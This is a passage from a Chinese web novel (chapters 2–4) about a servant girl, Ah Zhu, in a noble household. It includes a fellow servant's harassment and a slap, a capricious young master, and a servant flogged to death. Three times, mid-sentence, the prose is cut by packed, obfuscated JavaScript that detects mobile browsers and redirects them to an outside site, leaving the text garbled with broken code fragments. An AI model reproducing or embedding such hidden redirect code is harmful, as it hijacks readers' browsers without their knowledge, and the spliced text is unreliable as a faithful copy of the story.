《滚滚滚滚开啊死鬼》 2. 赏你的 水桶里荡着半桶脏污的黑水,阿朱右手拿着布,蹲在地上一点点擦拭过去。尽管这处院子不来人,阿朱每三天就会从另一处院子里的水井打来活水将地面重新水洗一遍。 阿朱想专心致志地干活,如果她能不忽视门外李申的视线的话。 李申和阿朱一起住在偏院,按陈妈的意思阿朱不过是个给他打下手的,充其量是下人的下人。 可不知道李申抽什么风,几次三番来欺负她。阿朱还记得第一次收李申芝麻饼时,恨不得嗦干净手指头,脑袋一热还热络地朝李申道谢,直到李申总是凑得很近往阿朱的肚子摸了一把,阿朱顿时像被猫抓住的老鼠脊背的汗毛全都竖了起来。 芝麻饼的油好似糊在了她的喉咙,让阿朱张得开嘴却说不出话。阿朱是不懂事,可她明白两个下人背着主子乱扯裙带,迟早要被扔出去。 于是,阿朱每日起床干活都会避开李申,如此,也没妨碍李申仍旧站在十步开外的地方,说是一起干活实际上老鼠一般泛着精光的眼睛总是若有若无地流出贪欲。 “眉毛短,短命鬼;眼睛浊,短命鬼。”阿朱压低了声音悄咪咪用气音骂了句,手上迅速地将边角落最后一块水渍裹紧抹布里,动作顺溜地将破布掼进水桶,拎起来就往外走。 “走这么快做什么,等等我。”李申跟在阿朱身后,阿朱听不见,吓得疾步走起来。 “我还得倒水,您等等吧。”她性格向来沉闷,一两天不搭理人是常态。说罢也不肯放慢速度,垂着脑袋一言不发地往前去。 李申不要脸皮地冲到阿朱面前拦住她的去路。 “哎!好阿朱,好阿朱,哥哥有件事求你!” 他扯住阿朱的水桶提手,阿朱用了劲拗不过他,只能停下来细细喘了口气。 “陈妈让咱们小声说话。” 李申装模作样地捂了捂嘴巴,咧嘴道:“瞧我,急了急了,把规矩都忘了。” 他若无其事地朝阿朱背后的正屋看了眼,阿朱跟着他的视线看过去,日暮时分,只剩点残留的日光落在院子中间。屋子本就狭窄的门窗更显得幽暗。 阿朱没注意到有什么东西。 “好妹妹,今天晚上帮哥哥点个灯吧。” 阿朱不解,疑惑地歪了歪脑袋。李申平日爱偷奸耍滑,将这院子里的重活都丢给她,阿朱不是没想和他换一换,李申却言他手上的事务才是最劳心劳力的,阿朱做不好,还是做些简单轻松的。 李申眼睛上下骨碌转了转,假惺惺露出不好意思。“今天少爷回来,前面抽不出人,我想着去打个下手。” 他话里真诚,也没对自己动手动脚,两人僵持了会儿,阿朱半信半疑间便点了点头。谁料,李申高兴地变了方才难堪的神色,一把将阿朱手里地脏水桶夺了过去。 “谢谢妹妹谢谢妹妹!来,水我给你倒!” 他一声声喊得阿朱不适应,她装聋作哑看着李喜滋滋地往外跑。怎么这会儿又不说点灯劳心劳力了,为何乐成这样。 赵府是世家,到了夜里,整座府邸灯火通明,灯油不要钱的耗着。唯独阿朱这块儿不能随便点灯,只有正房才行,平日里阿朱若是看不见只能燃根小蜡烛。 大夫人信佛,下人们常说起她如何虔诚吃素,念经叩拜,扶危济贫,所求的也不过是赵府上下顺遂安宁。 因此,阿朱以为正房会是个佛堂,直到后面跟着李申进去才发现里面没有佛像。漆黑古铜的墙面上用金墨画出阿朱看不懂的团团图案,房梁和柱子上飞舞着龙凤之类的神兽。再往上的屋顶黑黢黢一片幽暗,阿朱看不清,只觉得密不透风的屋顶罩住她生怕她飞出去似的。 紫檀硬木制成的灵台上每日都有各种新鲜的贡品重新摆上去,那本应该放置佛像的地方,摆设了一个方方正正的黑箱子,阿朱找不出更好的形容。 箱子大约使用玄铁制作而成,看不到开口,即使有也被牢牢封住。门一开,箱体表面便浮着幽幽亮光,生硬冰冷,显得沉甸甸的重量十足。 点完最后一盏,阿朱站在桌台前合掌拜了三拜。 香炉里烟雾缓缓流淌出来,味道争先恐后地钻进阿朱的鼻子里,她从小跟着牛贵学了不少偏门左道的东西,宁可信其有不可信其无,凡事遇见风水好的墓地灵台总是虔诚地跪拜。不过,没什么作用。 桌上摆放了今天重新换上去的供品,最上方的圆盘歪斜,供品或是落在了外面,缺的一角看得阿朱心里难受,不由得腹诽李申做事分明就是不靠谱。 她仰头凝望了会儿,像是下定某种决心提步轻轻走到供桌前,在自己的袖口里摸索了半天,掏出块糖酥摆在缺的一角上。 在阿朱眼里,糖是稀罕物,是逢年过节路人才会扔给小孩子的吃食。她小心翼翼地将糖酥放在最上方的圆盘上,又环视一圈确定没有遗漏的烛盏后,握着一小根蜡烛轻手轻脚的从正屋退了出去,将高了自己额头没多少的房门牢牢掩上。 别院的上方因着灯火通明将天空映出深蓝,好似火烧着了一般。唯独阿朱待的这一角沉寂安静。阿朱走上廊道,周遭观景现出浮雕一般生硬的轮廓。 夜里发凉,她身上汗毛都不禁竖了起来。手中的烛火不足以照亮漆黑的庭院,阿朱只想尽快回屋子打桶水将身上擦洗干净上床休息。 正走在路上,阿朱耳朵动了动,一道由远及近的不连贯的脚步声忽然靠了过来。黑影跌跌撞撞地朝阿朱靠近,等到阿朱能看清时又突然止住脚步,斜靠廊道的柱子旁。 那是个男人的身形,阿朱白了脸心里胆怯怯,加快脚下的步子。 谁料那人竟然出声拦住阿朱的去路。 “站住。” 阿朱鬼使神差地定住步子,防备地远远望着他。黑影也不动,随意地招了招手让阿朱过去。 阿朱她看不清那人的面貌,离得近了才发现是个十七八岁的少年,自己才堪堪到这少年的肩膀。 烛火闪了几下又继续安稳地燃烧着,裸在外面的皮肤冷嗖嗖。少年人身着缎面团花的长袍,各处都装点的妥妥帖帖,身上带着若隐若现的酒气。 幽暗烛火下,鼻梁高挺,眉眼很深,整个人透着股子锐利聪慧的劲儿。阿朱鬼使神差地抬高了蜡烛,抬到人家脸前,生怕看不清人家脸似的。 一双闪烁不定的漂亮眼睛无害又新奇地上下打量阿朱,随即噗嗤一声笑了出来。 见人盯着阿朱看了好半晌。阿朱动用了她已经许久没转过的脑子,开始思考回想,眼前的人是谁。 少年人像是会读心术,看着阿朱语气笃定道:“你不知道我是谁,是不是?” 阿朱耳朵尖爬上一抹红,半天才结结巴巴地说:“知道。” “哦,你知道?那我是谁呀。” …… “嗯……客人。”阿朱声音嗫喏,低到地上。 “客人?”少年禁不住笑了起来,笑得全身乱颤,桃花一般的眼尾好似笑出眼泪还要伸出手拂一拂。 “你猜错了,继续猜。” 他声音低沉平缓,带了点醉酒后的沙哑,好似在和阿朱玩猜谜游戏一般懒洋洋的。 赵府在京城地位显赫,可惜人丁单薄,府里只有一位少爷赵渡生和一位小姐赵文淑。赵渡生虽然是四房的孩子,可生下来四房身体不好后因病去世,这赵渡生就被大夫人抱养了去。 赵渡生从小就是家中唯一的男丁,全府上上下下谁不是把他当做含在嘴里怕化了捧在掌心怕碎了的宝贝。 到了年纪学识广博,金榜题名,再加上有赵光行的助力,入朝为官的路走的远比其他的寒门子弟更轻松。 或许是仕途顺畅,人生得意,半月前突然在朝堂发了疯,惹得天子暂罢了官职,叫人回家好好反省。 少年人弯眉杏目最是漂亮,漂亮得像花,不像官家的公子。好看。但阿朱会看相,她才不会被一副皮囊蛊惑,赵渡生是一副桃花薄命相。 阿朱的头恨不得埋到肚子里去,犹豫了会儿终于开口道: “小少爷。” 赵渡生不耐烦地啧了一声,他看不全少女的脸,伸出食指径直挑起对方的下巴,像把玩物件似的,转了几下。 嘶……容色寡淡焦黄又喜眉喜眼,整张脸像豆腐煮青菜——清汤寡水。 赵渡生视线漫无目的在阿朱脸上游走,冒着几分审视的精光,最后定格在那双眼睛。阿朱不经意地对上赵渡生的视线,眼里闪过细细的碎光,随即耷拉下眼皮。 阿朱自然早已习惯这种视线,没做什么反抗的动作。赵渡生薄唇一张,嘴巴不干净地吐出了一句: “真丑。” 阿朱没什么反应,垂下的柔软眼皮显得委屈巴巴,几根碎发刺着眼睛周围的皮肤,她难耐地眨巴眨巴眼睛,忍不住抬手去揉。 赵渡生被她的一番动作搅弄得失语,目不转睛道:“啧,看我,你是新来的。” 他语气肯定,只是在验证自己的猜想而不是确切地在问阿朱问题。 “嗯嗯,”阿朱想点头可惜下巴卡在赵渡生虎口处,脑袋动弹不得只能轻声应了声。 阿朱心思单纯得紧,没有半点的羞涩和作态。或许是时辰太晚,神色里有挡不住的倦怠。 赵渡生觉得没意思便松了手,仪态懒散地背靠红柱。 “他们都在前院洗尘宴上,你怎么不去?难不成…我回来你不高兴?” 他脸色变幻多端,突然之间就沉下来,拖长了声音,指着阿朱鼻子压低嗓音。偏偏阿朱就是能被这样的假把戏吓到,睁大了眼睛,双手像拨浪鼓上的两条线摆个不停。 “高兴的高兴的!”阿朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635197|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着急拔高了声量,脑袋捣蒜直点头,“我守在偏院有活干,卯时得点灯。” 阿朱以为赵渡生要继续发作,没想到对方只是看着自己,含着喜意的眼睛瞳孔扩散,眼神放空,整张脸突然之间就没了表情,摸不出任何意味。 疑惑之际,赵渡生仿佛回了魂,突然恶劣地笑出声来,阿朱不知道他在笑什么。 赵渡生很奇怪,总是莫名其妙地笑,尽管阿朱不觉得有多么好笑,也还是因为对方回神长舒一口气。 廊道分明没有风,烛芯却突然啪的一声炸开,随着烛火灭掉,黑暗瞬间侵袭过来,“呀,灭了。” 阿朱小声喊了一声,不适应黑暗的眼睛看不清周围的事物,鸡皮疙瘩掉了一地。她眨了眨眼睛,慢慢看清眼前面前高大的黑影。右手在兜里摸出火折子,手脚慌乱地想要重新点燃。 尚有些烫人的灯油猛地落在她的手背上,阿朱甩开手,蜡烛就落在了地上。 她只能蹲下身子在地上一通乱摸,蜡烛不知道滚哪里了,她没摸着,直到听见赵渡生动了动。 赵渡生没有摸索,仿佛能在夜里视物一般径直将地上的烛火塞进阿朱的手里,转而又从阿朱手里拿过火折子,握住她的手将蜡烛点燃。 灼热的呼吸近在耳畔,一点不算明亮的灯火慢慢燃了起来。 赵渡生漆黑的眼瞳在烛火下光波流转,看了阿朱一眼便很快退开。阿朱被烫过的手背尤能感触到他掌心暖热的温度,发麻发烫,一种不同于被灯油淋的烫。 赵渡生衣服上刺着密密匝匝、乱中有序的金线。阿朱的眼睛慢慢扫过,一根根地数。 她不作声,赵渡生自然而然注意到了她的视线。 小鬼贪财,赵渡生想。 “喜欢金子?”不等阿朱回答,赵渡生突然觉得自己问的实在多余,谁会不喜欢金子。 他两指探进腰带,将什么东西递给阿朱。那只朝自己伸过来的手皮肉单薄,手腕骨节凸起,一串殷红念珠摇摇晃晃笼在上面。 阿朱一时被这抹鲜艳的红色晃了眼,想起自己好几根手指上长满了茧子和水泡,蜷缩了几下手指,不由得羡慕。 “赏你的,还不快拿着。” 那是一片金灿灿的叶子。 小丫头一直抬眼紧张兮兮地觑着他,眼睛跟着赵渡生手里的金叶子晃动。 哼,分明贪财极了,还要装出不在意的模样。 阿朱不接,赵渡生起了少爷脾气,秀眉一皱,懒得陪人演戏直接将金叶子直接扔向阿朱身上。阿朱下意识伸手接住。 颤抖的掌心躺着烫手山芋,阿朱手抖,连带着金叶子也不合时宜的抖了起来,赵渡生垂眼瞧见了,以为她高兴坏了,挑了挑眉梢。 瞧,就说没人会不喜欢钱。 “你怎么这么没出息。” 阿朱瞧见赵渡生眼底的笑意,难堪地瘪嘴,薄红瞬间染上耳垂,整张脸都是滚烫的,“没…没见过金叶子呢。” 她鼓起勇气,傻气地开口:“少爷为什么要送我金叶子。” 赵渡生敛了笑,一本正经地望着阿朱,真是个痴呆。 “瞧你可伶就送你了。收着吧……唉,手别抖了看得我心烦。”赵渡生鼻子哼了哼,明明不屑,红润漂亮的唇却微微扬起,天真烂漫的模样。 阿朱想还回去,捏着金叶子的两根指头活像沾到了什么赤红烙铁。 赵渡生看见了阿朱半张着的嘴唇。这小丫头肯定要吐出来他不高兴听的话。 于是,他偏开头斜眼看向阿朱,颇为不悦地哼声道:“你当你在过年收红包?拿到手里都捂热了还要假惺惺推拒一番不成。去去去,少废话。给自己换件衣裳,走出去旁人以为我赵渡生苛虐下人。” 阿朱半张的嘴巴终于老实闭上。 赵渡生累了,没在搭理阿朱,踏着迟缓而稳健的步子,悠哉悠哉走远了去,嘴里还哼着阿朱没听过的小曲。 阿朱直愣愣地注视着他的背影消失在黑暗里。手里的金叶子发烫,她紧张地咽了咽口水,连忙将东西丢进自己胸口的小袋里。她大概知道了李申要去前院的原因,前院这是回来了个散财童子啊。要是李申知道她平白无故得了个金叶子岂不是要气死。 阿朱活得迷糊,一天能有两顿饱饭吃就是极好的,哪里能想到自己有朝一日还能摸到金子。但是拿到金子的喜悦很快就被空虚冲刷过去,穷人乍富后不知道自己能拿着这金叶子做什么。 阿朱想起赵渡生的话,后悔没说她其实没收过红包这事儿。 当然了,阿朱其实不敢反驳赵渡生。 要是牛贵在就好了,阿朱想。毕竟牛贵但凡拿到点钱就会找到地方将钱花得一干二净,吃喝嫖赌,连吃饭钱都不会给阿朱剩一点。所以,阿朱决定她也要将拿到的钱挥霍得一点不剩。 3. 发灰的眼睛 院子里散着刚被擦洗过的钟鼓法器,阿朱还穿着原来褪了色的翻领小衫,蹲在地上小小的一个,面皮绷得紧紧的,被正午的太阳晒得发红发烫。 李申翘着腿,在离阿朱十步远的屋檐下乘凉。那日他原是想偷奸耍滑去前院讨点赏,没曾想去的时候只有老爷和几房太太,其他的下人狗眼看人低谁会理他这么个喽啰。 他吃了瘪,阿朱就倒了霉,这几日都以身体不适为由毫无负罪感地指使阿朱干了大大小小的事情。 今早开门点香,屋内供桌上碟子散乱,一片狼藉,李申当即大惊失色,若是让陈妈和林管事知道,自己腿都会被打断。他转了个身就把阿朱从房间里拖了出来指着鼻子骂了一通。 阿朱心里委屈,可终究是习惯有苦咽进肚子里的个性。桌上乱糟糟的一片,就好像有什么小东西在偷吃,还要挑挑拣拣出自己喜欢的贡品。 李申使唤她将屋内的灯烛盘子,法器香花通通擦一遍。阿朱擦着擦着不禁想起赵渡生。 原以为经过那晚的初遇,赵渡生会对她有点印象。两人在花园里相遇时,阿朱心下惊喜,谁料赵渡生只当没这个人,目不斜视地走过去留下一阵风,还是阿朱过于炽热的眼神才引起他的注意。 阿朱支支吾吾说少爷帮我捡过蜡烛还送我金叶子,赵渡生恍然大悟,“啪”的一声合起扇子,嘴里玩世不恭的哎呀哎呀。这才真的想起阿朱就是昨日收了自己金叶子的人。 “记得的,这么可爱的阿朱怎么会不记得。” 才怪。 他送了那么多金叶子,记得个屁,赵渡生心里腹诽。 阿朱不知情,心理隐秘地升起某种情绪,此后遇上赵渡生的几回,赵渡生只远远的让下人给阿朱点吃食点心,再不像那日一般,打趣逗弄一番。 惹得每日夜里阿朱看见那片金叶子,心里总是有点莫名其妙的失落,赵府里还没有人会这样关照她,尽管她明白那并不说明赵渡生有多么喜欢她,可她觉得小少爷是个好人。 天热日长,傍晚时分太阳依旧晕出轮光,阿朱被煎烤了一个下午终于将所有的东西全部收拾回了屋子里。 李申不知道又跑到哪里偷懒,阿朱只能一点点将送来的新贡品摆上去。都是些极好的点心果子,往日阿朱都吃不到,可在这样的高门深户里,随便拿来供奉不知道哪方神佛。 果子再漂亮阿朱也不敢偷吃,毕竟连李申都不敢随意乱碰这里头的物件。 黑箱子依旧高高在上的摆在壁龛里。阿朱伸手在袖口里摸了摸,掏出赵渡生上次赏给自己的糖,踮起脚尖,勉强用指头送了上去。 尽管不知道这里供奉的是什么神仙菩萨,阿朱只知道自己每次送来的糖真的都会消失不见。当然,阿朱打心眼里不希望是老鼠,她希望世上有神仙的存在,这样就能质朴地觉得自己敬爱神佛,那神佛也理应反过来关爱她。 李申不在,阿朱自然而然又任劳任怨地担起点灯的事儿,她心里并不多埋怨,总归感激自己能从吃不饱穿不暖的流民变成每日都有饭菜的奴仆,甚至有了一间自己的屋子。 点完灯,阿朱摸黑回了屋子,地方不大,她收拾洗漱一番就直挺挺地躺在床上。一日琐碎的事结束后阿朱累得抬不起手臂,只一点点捏着酸痛的胳膊肉,困意连同疲乏迅速席卷全身,眼睛半眯着就要睡过去。 视线迷蒙间,阿朱对上了房内的红木衣柜。 柜子估计有些年月,没立在墙角,没靠着墙。几个角漆面脱落不少,还有细细密密的纹路。柜门或许因为修理过的缘故没能紧紧关合在一起,还留着不少缝隙。 阿朱的睫毛眨动越来越缓慢,最后一眼就落在衣柜狭小的缝隙里,只这一眼,一只死气沉沉的眼睛撞进了她的视线。 阿朱浑身僵硬,眼睛一眨不眨。瞬间,平缓的心提到嗓子,她整个人猛然坐了起来,鸡皮疙瘩连同屋内的冷气迅速蔓延至全身。 她眨了几下眼睛再看过去时,那缝隙里分明没有什么东西,阿朱以为自己看错了,急促喘息半晌后,不信邪地揉了揉自己的眼睛。 明明是炎夏,屋外没有一点蝉鸣的声响,屋内森冷阴寂。阿朱清楚自己没再柜子里房什么东西,她自己那点破烂行李为了方便都被一股脑塞在了床下。 阿朱咽了口口水,视线扫过床头的灯烛和在昏暗处闪着奇异光亮的黑色羽毛。她从床头拿起烛台,动作滞缓地踢着鞋子朝柜子走去。 或许是太累了看错了,阿朱想。屋里这么黑,容易看岔也是正常的。 红木柜子如同闭上嘴的巨兽,阿朱停在柜子前,视线控制不住地去盯黑漆漆的缝隙,什么也看不见。 她轻轻伸出食指扣住柜门上的拉环,呼吸停止,随即猛地将柜门拉开。 经久不用的柜门合页发出吱呀难听的声响,阿朱长舒一口气。 还好,什么也没有。 她就知道是自己看错了。烛光触手般伸进柜子里,阿朱皱了皱眉头,柜子内里底下有一处褐色的斑痕,阿朱刚把脑袋伸进去想看清那团褐色是什么时。 “咚咚咚!?” “谁!” 阿朱惊呼一声,立刻转身看向房门,门外站着一个人。 敲门声不停,那人根本不应阿朱。阿朱只得透过剪影仔细辨认那道人影,不是李申是谁。 “这么晚了,你有事吗?”阿朱好声好气地说。敲门声停顿会儿厚,乍然重新响起越来越急促,越来越大声,好似催命的声音荡在阿朱的耳朵旁。 阿朱头晕目眩,哪里还管得上柜子,吱呀几声将柜门严严实实关上。她睡得少,头重脚轻,脚步虚浮就要往门口走。走到一半,那人影好似知道阿朱过来了一般,停下敲门的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635198|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,静静等着阿朱过去。 阿朱脸色发白,走了几步,终于意识到不对劲,停下步子,只距离门两步,艰难地吞咽了下喉咙。 “李申,我知道是你,你半夜不睡觉,要是让陈妈知道怎么办?”阿朱抖着嗓子道。 门外静了好一会儿,就在阿朱以为对方要离开时,门突然被大力撞击起来。 “啊——” 阿朱白了脸不断往后退。门被撞得不断抖落下灰尘,门闩卡在门上几乎变形。 “你…你做什么李申,你吓着我了!!”阿朱迅速冲到床上自欺欺人将被子盖在自己身上,双眼圆瞪,声音里流露出少许怒气。 砸门的动作停顿了会儿后,李申继续缓慢敲了起来。阿朱被接连不断地动静唬得心中烦闷,连日做牛做马的疲惫连同烦闷一起涌了出来。 “李申,你再敲,我要告诉少……少爷,你欺负我,我要告诉少爷!” 死马当活马医,阿朱搬出来赵渡生,果不其然,门外的声响立刻停了下来。映在窗纸上的人影,一动不动,阿朱趁热打铁。 “你不要在我门口,你要是再站在我门口,明天我就去找小少爷告你的状。” 人影像潮水一般,没有走动的脚步声,缓缓退去。阿朱将捂在自己口鼻的被子放了下来。 阿朱不敢懈怠,在床上蜷缩成一团,她等了很久生怕李申会去而复返,继续砸门。大约过了半刻钟,屋外真的什么动静也没传来,阿朱才慢慢放下心来。 烛火噼里啪啦炸出声响,只剩下最后小半截,阿朱想起自己明早得去库房领灯油,若是再不睡,起不来少不了一通骂。 她战战兢兢地抬起上半身,准备一口气吹灭烛火,却在看到烛台旁的黑羽时,伸手将羽毛拿远了点。 阿朱两指捏着羽根,缓缓转动了几下羽片,羽片在各个角度都有不同的颜色。阿朱是在打扫卫生的时候,才发现床底下的这根羽毛。一根从鸟禽身上掉下来的羽毛而已阿朱原是要将其一起同垃圾扔出去,可她左看右看,又觉得这根羽毛实在特别,就留了下来放在床头充当装扮。 “可不能沾上灯油,沾上就不好看了。”阿朱轻声细语地喃喃道。她只有一个枕头,于是,又转而将羽毛拿到床另一侧的空处。 “这样哪天就算开门也不会被风吹到床底下了。” 阿朱心满意足,被恐吓的害怕不知不觉少了很多。烛火一灭,屋内瞬间漆黑一片,阿朱看不见,也不想看见什么。索性将被子盖过头顶,两只小脚一缩,整个人陷进床榻里。 灭了烛火以后,席卷而来的疲惫很快就将阿朱带去看了周公。 屋内寂静无声,月光撒在门窗上,洁净阴柔。那只阿朱害怕的、发灰的眼睛重新出现在了柜门的缝隙,它直愣愣的盯着床上之人的背影,直到红血丝从瞳孔蔓延,整只眼睛充血。 4. 鞭子 一夜无梦,阿朱顺利地在早上爬了起来,几乎每天早上她都会忘记自己在前一天晚上是怎么睡着的。她收拾一番就要去库房找林管事,不料李申喊停了她。 “阿朱,你过来将这擦一擦。” 阿朱不想理他,可李申指的地方正是正屋祠堂。她是个认死理的孩子,不能接受不劳而获,再怎么样,拿了别人的钱也得干活。于是,她拿着抹布就往李申的方向走过去。 走近了,阿朱看见李申的脸,青白一片,眼下肿起一团奇怪的乌黑。他用一种阿朱从来没见过的眼神看着阿朱。 “我昨日吃了点酒,没做什么事儿吧。”他跟在阿朱身后,试探问道。 “不知道,我睡得早呢。” “那就好那就好,还是阿朱妹妹好,帮我做这么多活儿。” 李申在阿朱背后嘻嘻笑,嗓子里含了口痰,声音黏腻恶心,听得阿朱直皱眉头。她手脚麻利,将地上的泥脚印擦干净,转身将起来时,李申神出鬼没地站在她的背后。两人离得太近,阿朱为了躲开李申,一屁股摔在了地上。 “哎,小心点,怎么摔了。”李申很快就拉住阿朱,一只手抱住阿朱的腰,一只手钳住胳膊,将阿朱拉到自己身前。 阿朱愣了片刻,她没和男人有过这样近的距离,本能地觉得不舒服后立刻伸手去推。 “我……我站稳了。” 李申整个人却如同入魔一般,半张着嘴巴,直瞪瞪地看着阿朱,什么话也不说就往阿朱脖子探头。阿朱哪见过这场面,被吓到后抬腿狠命踩了他一脚。 李申吃痛,将阿朱推开,阿朱正为自己脱离束缚开心,耳边却劲风袭来,“啪”的一声,阿朱结结实实地受了李申一巴掌。她被打偏脑袋,身子不受控制地倒在地上,脸颊迅速泛起巴掌印。 “装什么!别以为我不知道,你早就勾搭上了小少爷。你也配!你是什么人?在赵府不安分,等着死吧!” 李申突然变成疯狗气急败坏地指着阿朱骂。 阿朱一时半会儿没反应,被欺负惯了下意识为别人开脱,她知道就是有人喜怒不定,想起来了被牛贵用竹子抽的经历,身子开始幅度很小地抖起来。 李申张张合合的嘴唇和吐出来的唾沫星子逐渐模糊,和牛贵,和其他人重叠在一起。阿朱侧了侧头,看到了高高在上的黑箱子,油亮的表面依旧泛着冷冽锋利的光。 灯油,阿朱想起来她要去拿灯油。她站起身,撞开李申,头也不回地往屋外跑,身后是李申渐远的叫骂声。 她在路上跑得飞快,喉咙过于干燥发出破落的嗬嗬响声,整个赵府除去那小处院子,其他地方都被太阳晒透了。阿朱一刻不停,气喘吁吁地顶着巴掌印拿了灯油,又马不停蹄地回去,好像一路快走就能让人追赶不上她。 她鬼使神差地换了条路,离那地方越近,阿朱就越高兴,疼痛过后脸颊高高的肿胀起来只剩下麻木。 等阿朱回过神时,她已经站在了赵渡生的院子前。她没有想要勾搭赵渡生。她懂什么勾引,一个毛都没长齐的丫头,哪里懂这是疯男人故意按照那套良家女子的贞德泼过来的脏水。 阿朱站在门口徘徊,心理鄙夷自己的行径,难不成自己要去告状吗?可她不要变成李申口中的不安分的人。 阿朱对自己心生厌弃,连忙转身要走,却听见空中突然传来鞭子的抽打声,随之而来的是人被堵住嘴巴的痛呼声。阿朱被脑海里不好的念头和这安静中颇为痛苦的声音硬生生止住脚步。 她跨过门槛,赵渡生坐在一张紫檀木椅上,最爱把玩的扇子被撕破了随意扔在脚边,沾上灰。小厮在他旁边扇着风,他端起一盅凉茶,细细啜了一口,不期然和门口的阿朱对上了视线。 阿朱自然看见了端坐上方的小少爷,她也看见了被绑在木凳上,后背已经皮开肉绽的下人。眼前红得触目惊心,她不知道人的肉骨能被打成烂泥,下意识摸了摸自己的脸,阿朱想吐。 一根六尺长带着倒刺的鞭不断抽在那人身上。阿朱对上赵渡生的视线后没再动作倚靠在木门边,直到赵渡生朝她像叫小狗似的招了招手。 阿朱眼神不自在地躲闪,慢腾腾地走了过去。被太阳烤得流汗通红的脸上,一双乌黑精光滴溜的眼睛看着赵渡生的脸直发怔。 赵渡生长长地舒了一口气,“怎么这么慢,不高兴看见我吗?” 阿朱用手拭去了额上的汗水,摇头。 “没有没有。” 赵渡生蹙眉,他分明看见了阿朱脸上的印子,转念一想不惜得问,只握起阿朱的手捏了捏,一双桃花眼风风流流的,“你的手热乎乎的。” 阿朱的手是干活的手有不符合年纪的结实。赵渡生像摸着了什么玩具一般左右把玩,阿朱只觉得他的手像冰凉温润的玉石。 捏着捏着,阿朱突然想起李申的话,一下子就将自己的手抽了回来。 赵渡生的脸色瞬间阴沉下来,她看向阿朱肿胀的半边脸,虽有不满但心下了然顺理成章地挑眉问:“谁打的?” 台阶下,小厮痛苦的呜咽声和鞭子抽打声不断传来,阿朱不由自主地去看,她在想这人犯了什么错,为什么会被这样打。 赵渡生重新握起阿朱的手,咧着嘴愉悦地笑道:“你是不是在想我为什么要罚他。” 阿朱低着头,抬起湿漉漉的圆眼睛,顶着被太阳晒过的长了点肉的脸不解地看向赵渡生。 “他做错了事,将我的宝贝扇子不小心给弄折了,你说我该不该罚他。” 阿朱重新看向地上的扇子。她只知道那人快被打死了,她不明白为什么一条人命为何会比一把扇子重要。 “真是个呆子。” 赵渡生语气狎昵,用力掐了一把阿朱虎口上的肉,阿朱喉咙里小声呜了一声,却不敢甩开他的手。 又是一鞭子落下,木凳上的人彻底没了生息,赵渡生不耐烦地挥手,很快就有人来将东西和人抬走,院子里好似什么都没发生过。 阴冷冰森的寒意从被赵渡生抓住的手腕传来,将阿朱一点点冻住。 “听不见我说话吗?” 赵渡生突然就生气地甩开阿朱的手,摸着大拇指上的玉戒指,变了张脸。 不知道是不是阿朱没继续握着他的手,赵渡生阴沉沉,阿朱小心翼翼地回:“被打的。” “这么大一个巴掌印我当然知道是被打的,你告诉我是谁打的,我给你出气。”赵渡生弯腰,靠阿朱很近,一脸的笑意盈盈。阿朱再不敢说话,一报还一报,她想李申也被打一巴掌就好了,还没有到要被绑在木凳上的程度。 赵渡生上下扫视着阿朱。阿朱没注意自己肩膀在和李申拉扯时,破了线,露出一小块雪白的皮肤。 他嗤笑一声,还能有谁,那破院里除了这个呆子就只有一个小厮,那小厮姓甚名甚他忘了,当然,他赵渡生一向也懒得记。 赵渡生将阿朱扯到自己身前,从下往上望着阿朱,漂亮昳丽的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635199|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近在眼前,艳得阿朱在烈日强光下心神摇晃,眼睛眨也不眨只顾着盯着赵渡生。 她脸上露出讨好的微笑,赵渡生笑出声来,他温柔地将自己的双手环在阿朱腰部,把人拉到自己身前,整个人没了力气似的靠在阿朱身上,像几岁的孩童一般寻求依偎。 明明赵渡生不带任何情色和欲望,阿朱却四肢僵硬,连呼气都放得很轻,耳尖逐渐蔓上粉红。她想,或许李申说的是对的。只是在下一秒,听到赵渡生说的话后,阿朱浑身暖着的血就冷了下来。 “被打很正常,犯了错就要挨打,阿朱一定是犯了错。” 赵渡生抬起头,双手依旧抱住阿朱,只是嘴角微挑笑意渗人。 “阿朱要说,我错了,以后不会再犯了。” 腰上的手臂逐渐环紧,赵渡生重复一遍,“说我错了。”阿朱眼睛连同一颗心变得散涣,沉吟半天说:“阿朱错了,以后不会再犯了。” 赵渡生不是真的关心她,他同自己讲话或许只是觉得无聊,在某个天气不错的下午顺手摆弄一下花盆里的泥土。 不分青红皂白的苛责讥笑让阿朱人生第一次觉得难堪。是了,一个生在名门望族,一路顺顺当当没吃过苦的小少爷,怎么会觉得感同身受到她难过。 赵渡生捏捏阿朱的脸颊松开阿朱,抬了盘糕点放在阿朱面前。 “来,吃。” 